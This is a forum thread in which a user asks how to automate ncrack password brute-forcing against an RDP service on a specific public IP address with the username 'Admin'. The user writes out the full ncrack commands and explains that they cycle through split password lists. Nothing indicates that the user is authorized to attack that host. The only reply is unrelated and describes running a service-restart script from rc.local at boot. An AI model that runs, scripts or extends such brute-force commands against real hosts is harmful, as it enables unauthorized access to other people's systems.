How to run this command automaticaly ?

Discussion in 'Programming' started by giancarloks, May 14, 2016.

  1. giancarloks

    giancarloks New Member

    Joined:
    May 12, 2016
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    I use ncrack and i use some pass lists , 20 mb , i want to split the list in 20 peaces , 1 mb each.I start ncrack with first 1mbPASS.TXT after some hours is finishing, then i must change 1mbPass.txt file to 2mbPass.txt and start again.Anyone knows a script or something to start the second pass list automatically ? hehe
    thanks



    I open cmd.exe and i paste manually this stirng:
    ncrack -v --user Admin -P 1mbPASS.TXT 5.2.225.45:3389

    after is finishing i paste manually the second string with the second pass :
    ncrack -v --user Admin -P 2mbPASS.TXT 5.2.225.45:3389

    Anyone knows a script or soemthing to run AUTOMATICALLY the second pass the 3'rd pass lists and not paste manually the code everytime ncrack finishing ?
     
  2. Louis Zorbas

    Louis Zorbas New Member

    Joined:
    Aug 26, 2016
    Messages:
    15
    Likes Received:
    1
    Trophy Points:
    3
    Gender:
    Male
    rc.local has solved this for me, and although I have read is outdated But kept around for compatibility, if somebody has the updated, but JUST AS SIMPLE answer, please share as I will update my server.

    sudo nano /etc/rc.local

    and I tried adding both

    # By default this script does nothing.

    /home/donut/deluge.sh
    (or)
    sudo service deluged restart

    exit 0

    the first, i created a script in /home/donut/deluge.sh

    with JUST

    sudo service deluged restart

    the second I just pasted the command right into rc.local

    The second works fine for me, but if you have a long script, or a script you want to change a lot without editing rc.local, then the first option is for you.

    Cheers!
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice